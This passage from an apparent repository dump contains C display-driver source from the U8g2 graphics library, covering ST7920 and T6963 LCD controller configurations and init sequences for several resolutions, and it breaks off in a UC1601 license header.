*/\n\t/* Arduino mode 3: aktive low clock, but use rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 20,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 32\n};\n\n\nuint8_t u8x8_d_st7920_160x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_160x32_display_info);\n      break;\n    default:\n      return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n/*=== 192x32 === */\n\nstatic const u8x8_display_info_t u8x8_st7920_192x32_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t/* datasheet ST7920 */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 3,\t\t/* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0), 18 Aug 16: changed from 1 to 3 which works for 101 */\n\t/* Arduino mode 3: aktive low clock, but use rising edge */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 24,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 192,\n  /* pixel_height = */ 32\n};\n\n\nuint8_t u8x8_d_st7920_192x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_192x32_display_info);\n      break;\n    default:\n      return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=== 128x64 === */\n\nstatic const u8x8_display_info_t u8x8_st7920_128x64_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t/* datasheet ST7920 */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* ST7920+Due work with 1MHz but not with 2MHz, ST7920+Uno works with 2MHz */\n  /* spi_mode = */ 3,\t\t/* active high, rising edge, 18 Aug 16: changed from 1 to 3 which works for 101  */\n  /* in theory mode 3 should be correct  */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\nuint8_t u8x8_d_st7920_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_128x64_display_info);\n      break;\n    default:\n      return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=== 256x32 === */\n/* https://github.com/olikraus/u8g2/issues/1593 */\n\nstatic const u8x8_display_info_t u8x8_st7920_256x32_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n\n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1,\n  /* post_reset_wait_ms = */ 6,\n  /* sda_setup_time_ns = */ 20,\n  /* sck_pulse_width_ns = */  140,\t/* datasheet ST7920 */\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* ST7920+Due work with 1MHz but not with 2MHz, ST7920+Uno works with 2MHz */\n  /* spi_mode = */ 3,\t\t/* active high, rising edge, 18 Aug 16: changed from 1 to 3 which works for 101  */\n  /* in theory mode 3 should be correct  */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 32,\n  /* tile_height = */ 4,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 32\n};\n  \n\nuint8_t u8x8_d_st7920_256x32(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n\tcase U8X8_MSG_DISPLAY_SETUP_MEMORY:\n\t  u8x8_d_helper_display_setup_memory(u8x8, &u8x8_st7920_256x32_display_info);\n\t  break;\n\tdefault:\n\t  return u8x8_d_st7920_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_t6963.c",
    "content": "/*\n\n  u8x8_d_t6963.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  The t6963 controller does not support hardware graphics flip.\n  Contrast adjustment is done by an external resistor --> no support for contrast adjustment\n  \n  \n*/\n#include \"u8x8.h\"\n\n\n\nstatic const uint8_t u8x8_d_t6963_powersave0_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x098),                            /* mode register: Display Mode, Graphics on, Text off, Cursor off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\nstatic const uint8_t u8x8_d_t6963_powersave1_seq[] = {\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_C(0x090),                             /* All Off */\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_END()             \t\t\t/* end of sequence */\n};\n\n\nuint8_t u8x8_d_t6963_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t c, i;\n  uint16_t y;\n  uint8_t *ptr;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      break;\n    */\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      if ( arg_int == 0 )\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_t6963_powersave0_seq);\n      else\n\tu8x8_cad_SendSequence(u8x8, u8x8_d_t6963_powersave1_seq);\n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      y = (((u8x8_tile_t *)arg_ptr)->y_pos);\n      y*=8;\n      y*= u8x8->display_info->tile_width;\n      /* x = ((u8x8_tile_t *)arg_ptr)->x_pos; x is ignored... no u8x8 support */\n      //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL);\t/* extra dely required */\n      u8x8_cad_StartTransfer(u8x8);\n      //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL);\t/* extra dely required */\n      /* \n\tTile structure is reused here for the t6963, however u8x8 is not supported \n\ttile_ptr points to data which has cnt*8 bytes (same as SSD1306 tiles)\n\tBuffer is expected to have 8 lines of code fitting to the t6963 internal memory\n\t\"cnt\" includes the number of horizontal bytes. width is equal to cnt*8\n\t\n\tTODO: Consider arg_int, however arg_int is not used by u8g2\n      */\n      c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n      for( i = 0; i < 8; i++ )\n      {\n\tu8x8_cad_SendArg(u8x8, y&255);\n\tu8x8_cad_SendArg(u8x8, y>>8);\n\tu8x8_cad_SendCmd(u8x8, 0x024 );\t/* set adr */\n\tu8x8_cad_SendCmd(u8x8, 0x0b0 );\t/* auto write start */\n\t\n\t\n\t//c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n\tu8x8_cad_SendData(u8x8, c, ptr);\t/* note: SendData can not handle more than 255 bytes, send one line of data */\n\t\n\tu8x8_cad_SendCmd(u8x8, 0x0b2 );\t/* auto write reset */\n\tptr += u8x8->display_info->tile_width;\n\ty += u8x8->display_info->tile_width;\n      }\n\n      u8x8_cad_EndTransfer(u8x8);\n      //u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, 200, NULL);\t/* extra dely required */\n\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n/*=============================================*/\n\n\nstatic const u8x8_display_info_t u8x8_t6963_240x128_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 110,\t/* T6963 Datasheet p30 */\n  /* pre_chip_disable_wait_ns = */ 100,\t/* T6963 Datasheet p30 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 80,\n  /* write_pulse_width_ns = */ 80,\n  /* tile_width = */ 30,\n  /* tile_height = */ 16,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 128\n};\n\n/* 240x128 */\nstatic const uint8_t u8x8_d_t6963_240x128_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n  \n  U8X8_AAC(0x00,0x00,0x021),\t/* low, high, set cursor pos */\n  U8X8_AAC(0x00,0x00,0x022),\t/* low, high, set offset */\n  U8X8_AAC(0x00,0x00,0x040),\t/* low, high, set text home */\n  U8X8_AAC(240/8,0x00,0x041),\t/* low, high, set text columns */\n  U8X8_AAC(0x00,0x00,0x042),\t/* low, high, graphics home */  \n  U8X8_AAC(240/8,0x00,0x043),\t/* low, high, graphics columns */\n  U8X8_DLY(2),\t\t\t\t\t/* delay 2ms */\n  // mode set\n  // 0x080: Internal CG, OR Mode\n  // 0x081: Internal CG, EXOR Mode\n  // 0x083: Internal CG, AND Mode\n  // 0x088: External CG, OR Mode\n  // 0x089: External CG, EXOR Mode\n  // 0x08B: External CG, AND Mode\n  U8X8_C(0x080),            \t\t\t/* mode register: OR Mode, Internal Character Mode */\n  // display mode\n  // 0x090: Display off\n  // 0x094: Graphic off, text on, cursor off, blink off\n  // 0x096: Graphic off, text on, cursor on, blink off\n  // 0x097: Graphic off, text on, cursor on, blink on\n  // 0x098: Graphic on, text off, cursor off, blink off\n  // 0x09a: Graphic on, text off, cursor on, blink off\n  // ...\n  // 0x09c: Graphic on, text on, cursor off, blink off\n  // 0x09f: Graphic on, text on, cursor on, blink on\n  U8X8_C(0x090),                             /* All Off */\n  U8X8_AAC(0x00,0x00,0x024),\t/* low, high, set adr pointer */\n  \n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\nuint8_t u8x8_d_t6963_240x128(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_240x128_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_240x128_init_seq);\n      break;\n    default:\n      return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n/*=============================================*/\n\nstatic const u8x8_display_info_t u8x8_t6963_240x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 110,\t/* T6963 Datasheet p30 */\n  /* pre_chip_disable_wait_ns = */ 100,\t/* T6963 Datasheet p30 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 80,\n  /* write_pulse_width_ns = */ 80,\n  /* tile_width = */ 30,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 240,\n  /* pixel_height = */ 64\n};\n\n\n/* 240x64 */\nstatic const uint8_t u8x8_d_t6963_240x64_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n  \n  U8X8_AAC(0x00,0x00,0x021),\t/* low, high, set cursor pos */\n  U8X8_AAC(0x00,0x00,0x022),\t/* low, high, set offset */\n  U8X8_AAC(0x00,0x00,0x040),\t/* low, high, set text home */\n  U8X8_AAC(240/8,0x00,0x041),\t/* low, high, set text columns */\n  U8X8_AAC(0x00,0x00,0x042),\t/* low, high, graphics home */  \n  U8X8_AAC(240/8,0x00,0x043),\t/* low, high, graphics columns */\n  U8X8_DLY(2),\t\t\t\t\t/* delay 2ms */\n  // mode set\n  // 0x080: Internal CG, OR Mode\n  // 0x081: Internal CG, EXOR Mode\n  // 0x083: Internal CG, AND Mode\n  // 0x088: External CG, OR Mode\n  // 0x089: External CG, EXOR Mode\n  // 0x08B: External CG, AND Mode\n  U8X8_C(0x080),            \t\t\t/* mode register: OR Mode, Internal Character Mode */\n  // display mode\n  // 0x090: Display off\n  // 0x094: Graphic off, text on, cursor off, blink off\n  // 0x096: Graphic off, text on, cursor on, blink off\n  // 0x097: Graphic off, text on, cursor on, blink on\n  // 0x098: Graphic on, text off, cursor off, blink off\n  // 0x09a: Graphic on, text off, cursor on, blink off\n  // ...\n  // 0x09c: Graphic on, text on, cursor off, blink off\n  // 0x09f: Graphic on, text on, cursor on, blink on\n  U8X8_C(0x090),                             /* All Off */\n  U8X8_AAC(0x00,0x00,0x024),\t/* low, high, set adr pointer */\n  \n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\nuint8_t u8x8_d_t6963_240x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_240x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_240x64_init_seq);\n      break;\n    default:\n      return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n/*=============================================*/\n\n\n\nstatic const u8x8_display_info_t u8x8_t6963_256x64_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 110,\t/* T6963 Datasheet p30 */\n  /* pre_chip_disable_wait_ns = */ 100,\t/* T6963 Datasheet p30 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 80,\n  /* write_pulse_width_ns = */ 80,\n  /* tile_width = */ 32,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 256,\n  /* pixel_height = */ 64\n};\n\n/* 256x64 */\nstatic const uint8_t u8x8_d_t6963_256x64_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n  \n  U8X8_AAC(0x00,0x00,0x021),\t/* low, high, set cursor pos */\n  U8X8_AAC(0x00,0x00,0x022),\t/* low, high, set offset */\n  U8X8_AAC(0x00,0x00,0x040),\t/* low, high, set text home */\n  U8X8_AAC(256/8,0x00,0x041),\t/* low, high, set text columns */\n  U8X8_AAC(0x00,0x00,0x042),\t/* low, high, graphics home */  \n  U8X8_AAC(256/8,0x00,0x043),\t/* low, high, graphics columns */\n  U8X8_DLY(2),\t\t\t\t\t/* delay 2ms */\n  // mode set\n  // 0x080: Internal CG, OR Mode\n  // 0x081: Internal CG, EXOR Mode\n  // 0x083: Internal CG, AND Mode\n  // 0x088: External CG, OR Mode\n  // 0x089: External CG, EXOR Mode\n  // 0x08B: External CG, AND Mode\n  U8X8_C(0x080),            \t\t\t/* mode register: OR Mode, Internal Character Mode */\n  // display mode\n  // 0x090: Display off\n  // 0x094: Graphic off, text on, cursor off, blink off\n  // 0x096: Graphic off, text on, cursor on, blink off\n  // 0x097: Graphic off, text on, cursor on, blink on\n  // 0x098: Graphic on, text off, cursor off, blink off\n  // 0x09a: Graphic on, text off, cursor on, blink off\n  // ...\n  // 0x09c: Graphic on, text on, cursor off, blink off\n  // 0x09f: Graphic on, text on, cursor on, blink on\n  U8X8_C(0x090),                             /* All Off */\n  U8X8_AAC(0x00,0x00,0x024),\t/* low, high, set adr pointer */\n  \n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\nuint8_t u8x8_d_t6963_256x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_256x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_256x64_init_seq);\n      break;\n    default:\n      return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n/*=============================================*/\n\nstatic const u8x8_display_info_t u8x8_t6963_128x64_display_info =\n{\n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* T6963 Datasheet p30 */\n  /* pre_chip_disable_wait_ns = */ 100,\t/* T6963 Datasheet p30 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 80,\n  /* write_pulse_width_ns = */ 80,\n  /* tile_width = */ 16,\n  /* tile_height = */ 8,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 128,\n  /* pixel_height = */ 64\n};\n\n/* 128x64 */\nstatic const uint8_t u8x8_d_t6963_128x64_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n  \n  U8X8_AAC(0x00,0x00,0x021),\t/* low, high, set cursor pos */\n  U8X8_AAC(0x00,0x00,0x022),\t/* low, high, set offset */\n  U8X8_AAC(0x00,0x00,0x040),\t/* low, high, set text home */\n  U8X8_AAC(128/8,0x00,0x041),\t/* low, high, set text columns */\n  U8X8_AAC(0x00,0x00,0x042),\t/* low, high, graphics home */  \n  U8X8_AAC(128/8,0x00,0x043),\t/* low, high, graphics columns */\n  U8X8_DLY(2),\t\t\t\t\t/* delay 2ms */\n  // mode set\n  // 0x080: Internal CG, OR Mode\n  // 0x081: Internal CG, EXOR Mode\n  // 0x083: Internal CG, AND Mode\n  // 0x088: External CG, OR Mode\n  // 0x089: External CG, EXOR Mode\n  // 0x08B: External CG, AND Mode\n  U8X8_C(0x080),            \t\t\t/* mode register: OR Mode, Internal Character Mode */\n  // display mode\n  // 0x090: Display off\n  // 0x094: Graphic off, text on, cursor off, blink off\n  // 0x096: Graphic off, text on, cursor on, blink off\n  // 0x097: Graphic off, text on, cursor on, blink on\n  // 0x098: Graphic on, text off, cursor off, blink off\n  // 0x09a: Graphic on, text off, cursor on, blink off\n  // ...\n  // 0x09c: Graphic on, text on, cursor off, blink off\n  // 0x09f: Graphic on, text on, cursor on, blink on\n  U8X8_C(0x090),                             /* All Off */\n  U8X8_AAC(0x00,0x00,0x024),\t/* low, high, set adr pointer */\n  \n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\nuint8_t u8x8_d_t6963_128x64(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_128x64_init_seq);\n      break;\n    default:\n      return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n/*=============================================*/\n\nstatic const u8x8_display_info_t u8x8_t6963_160x80_display_info =\n{\n  /* chip_enable_level = */ 0,\n  /* chip_disable_level = */ 1,\n  \n  /* post_chip_enable_wait_ns = */ 10,\t/* T6963 Datasheet p30 */\n  /* pre_chip_disable_wait_ns = */ 100,\t/* T6963 Datasheet p30 */\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 80,\n  /* write_pulse_width_ns = */ 80,\n  /* tile_width = */ 20,\n  /* tile_height = */ 10,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 160,\n  /* pixel_height = */ 80\n};\n\n/* 128x64 */\nstatic const uint8_t u8x8_d_t6963_160x80_init_seq[] = {\n  U8X8_DLY(100),\n  U8X8_START_TRANSFER(),             \t/* enable chip, delay is part of the transfer start */\n  U8X8_DLY(100),\n  \n  U8X8_AAC(0x00,0x00,0x021),\t/* low, high, set cursor pos */\n  U8X8_AAC(0x00,0x00,0x022),\t/* low, high, set offset */\n  U8X8_AAC(0x00,0x00,0x040),\t/* low, high, set text home */\n  U8X8_AAC(160/8,0x00,0x041),\t/* low, high, set text columns */\n  U8X8_AAC(0x00,0x00,0x042),\t/* low, high, graphics home */  \n  U8X8_AAC(160/8,0x00,0x043),\t/* low, high, graphics columns */\n  U8X8_DLY(2),\t\t\t\t\t/* delay 2ms */\n  // mode set\n  // 0x080: Internal CG, OR Mode\n  // 0x081: Internal CG, EXOR Mode\n  // 0x083: Internal CG, AND Mode\n  // 0x088: External CG, OR Mode\n  // 0x089: External CG, EXOR Mode\n  // 0x08B: External CG, AND Mode\n  U8X8_C(0x080),            \t\t\t/* mode register: OR Mode, Internal Character Mode */\n  // display mode\n  // 0x090: Display off\n  // 0x094: Graphic off, text on, cursor off, blink off\n  // 0x096: Graphic off, text on, cursor on, blink off\n  // 0x097: Graphic off, text on, cursor on, blink on\n  // 0x098: Graphic on, text off, cursor off, blink off\n  // 0x09a: Graphic on, text off, cursor on, blink off\n  // ...\n  // 0x09c: Graphic on, text on, cursor off, blink off\n  // 0x09f: Graphic on, text on, cursor on, blink on\n  U8X8_C(0x090),                             /* All Off */\n  U8X8_AAC(0x00,0x00,0x024),\t/* low, high, set adr pointer */\n  \n  U8X8_DLY(100),\n  U8X8_END_TRANSFER(),             \t/* disable chip */\n  U8X8_DLY(100),\n};\n\nuint8_t u8x8_d_t6963_160x80(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_160x80_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_160x80_init_seq);\n      break;\n    default:\n      return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n/* alternative version for the 128x64 t6963 display: use the 160x80 init sequence */\nuint8_t u8x8_d_t6963_128x64_alt(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_t6963_128x64_display_info);\n      break;\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      u8x8_cad_SendSequence(u8x8, u8x8_d_t6963_160x80_init_seq);\n      break;\n    default:\n      return u8x8_d_t6963_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n  \n\n  "
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_uc1601.c",
    "content": "/*\n\n  u8x8_d_uc1601.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2017, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, 